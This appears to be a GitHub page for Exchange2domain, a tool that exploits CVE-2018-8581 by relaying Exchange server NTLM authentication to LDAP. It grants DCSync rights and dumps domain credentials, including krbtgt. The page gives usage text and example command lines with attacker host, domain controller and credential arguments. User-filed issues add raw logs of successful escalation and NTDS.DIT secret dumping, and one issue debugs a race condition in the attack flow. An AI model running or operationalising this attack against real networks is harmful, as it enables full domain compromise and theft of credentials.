ridter / exchange2domain

CVE-2018-8581

Exchange2domain

All in One tools of privexchange . You only need to open the web server port, so no high privileges are required.

Great writeup! Abusing Exchange: One API call away from Domain Admin.

Requirements

These tools require impacket. You can install it from pip with pip install impacket.

Usage

usage: Exchange2domain.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD]
                          [--hashes HASHES] [--no-ssl]
                          [--exchange-port EXCHANGE_PORT] -ah ATTACKER_HOST
                          [-ap ATTACKER_PORT] -th TARGET_HOST
                          [-exec-method [{smbexec,wmiexec,mmcexec}]]
                          [--exchange-version EXCHANGE_VERSION]
                          [--attacker-page ATTACKER_PAGE]
                          [--just-dc-user USERNAME] [--debug]
                          HOSTNAME

Exchange your privileges for Domain Admin privs by abusing Exchange. Use me
with ntlmrelayx

positional arguments:
  HOSTNAME              Hostname/ip of the Exchange server

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --user USERNAME
                        username for authentication
  -d DOMAIN, --domain DOMAIN
                        domain the user is in (FQDN or NETBIOS domain name)
  -p PASSWORD, --password PASSWORD
                        Password for authentication, will prompt if not
                        specified and no NT:NTLM hashes are supplied
  --hashes HASHES       LM:NLTM hashes
  --no-ssl              Don't use HTTPS (connects on port 80)
  --exchange-port EXCHANGE_PORT
                        Alternative EWS port (default: 443 or 80)
  -ah ATTACKER_HOST, --attacker-host ATTACKER_HOST
                        Attacker hostname or IP
  -ap ATTACKER_PORT, --attacker-port ATTACKER_PORT
                        Port on which the relay attack runs (default: 80)
  -th TARGET_HOST, --target-host TARGET_HOST
                        Hostname or IP of the DC
  -exec-method [{smbexec,wmiexec,mmcexec}]
                        Remote exec method to use at target (only when using
                        -use-vss). Default: smbexec
  --exchange-version EXCHANGE_VERSION
                        Exchange version of the target (default: Exchange2013,
                        choices:Exchange2010,Exchange2010_SP1,Exchange2010_SP2
                        ,Exchange2013,Exchange2013_SP1,Exchange2016)
  --attacker-page ATTACKER_PAGE
                        Page to request on attacker server (default:
                        /privexchange/)
  --just-dc-user USERNAME
                        Extract only NTDS.DIT data for the user specified.
                        Only available for DRSUAPI approach.
  --debug               Enable debug output

example:

python Exchange2domain.py -ah attackterip   -ap listenport -u user -p password -d domain.com -th DCip MailServerip 

If you only want to dump krbtgt, use --just-dc-user.

example:

python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip  --just-dc-user krbtgt MailServerip

Update

Auto backup old SD for restore.

exchange2domain's Issues

pack it to exe, something wrong

File "Exchange2domain.py", line 20, in
File "c:\users\user\appdata\local\temp\pip-install-ruheuc\pyinstaller\PyInstaller\loader\pyimod03_importers.py", line 391, in load_modue
File "comm\ntlmrelayx\clients_init_.py", line 79, in
File "site-packages\pkg_resources_init_.py", line 1220, in resource_listdir
File "site-packages\pkg_resources_init_.py", line 1480, in resource_listdir
File "site-packages\pkg_resources_init_.py", line 1519, in _listdir
NotImplementedError: Can't perform this operation for unregistered loader type
[1792] Failed to execute script Exchange2domain

Why?

Race condition in the code

Hi,

While using your code, I'm pretty sure I found a race condition which is triggered on large domains.

The checkauth function waits on the suc == True condition. Once that condition holds, it runs gethash. However, the checkauth is already true when the ntlm auth against the DC is succesful. After that, the script starts enumerating all the DACLs to see if the user has enough privileges. This enumeration takes quite a while for a big domain (as suggested by the output). And while enumerating, gethash already tries to dump the hashes with secretsdump before the privs are escalated. This obviously fails.

See the cleaned output below. Between the two lines I marked with an arrow , you can see that output is missing compared to a successful attack. (See screenshot in your readme page).

[*] Setting up HTTP Server 
[*] Relay servers started, waiting for connection.... 
[*] Using attacker URL: http://X.X.X.X:8080/privexchange/ 
[*] Exchange returned HTTP status 200 - authentication was OK 
[+] API call was successful 
[*] Waiting for Auth... 
[*] HTTPD: Received connection from X.X.X.X, attacking target ldap://X.X.X.X 
[*] HTTPD: Client requested path: /privexchange/ 
[*] HTTPD: Received connection from X.X.X.X, attacking target ldap://X.X.X.X 
[*] HTTPD: Client requested path: /privexchange/ 
[*] HTTPD: Client requested path: /privexchange/ 
[+] Authenticating against ldap://X.X.X.X as XXXXXXXXX\YYYYYYY$ SUCCEED 
==>[*] Enumerating relayed user's privileges. This may take a while on large domains 
==>[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)** 
[*] Using the DRSUAPI method to get NTDS.DIT secrets 
[*] Cleaning up...  

I double-confirmed this issue by inserting a big sleep in the checkauth function to give the enumeration and escalation enough time to finish before calling gethash. This fixed the issue for me, but is obviously not a proper solution.

A proper solution would be to have some kind of semaphore/mutex which signals that the privs are escalated, before gethash is called. However, this is not very straight forwards, as it's deep inside ntlmrelayx's code and probably requires a change in ntlmrelayx.

exchange 2019支持吗

rt

[-] ERROR_DS_NAME_ERROR_NOT_UNIQUE: Name translation: Input name mapped to more than one output name

This happened in Windows 2016 DC + Exchange 2016:

[+] Authenticating against ldap://172.16.177.130 as CORP\MAIL01$ SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] User privileges found: Create user
[*] User privileges found: Modifying domain ACL
[*] Querying domain security descriptor
[+] Success! User X now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] ERROR_DS_NAME_ERROR_NOT_UNIQUE: Name translation: Input name mapped to more than one output name.
[*] Cleaning up...

What does ERROR_DS_NAME_ERROR_NOT_UNIQUE: Name translation: Input name mapped to more than one output name mean?

The dcsync privilege is granted and works with other tools now, but can you take a look at it?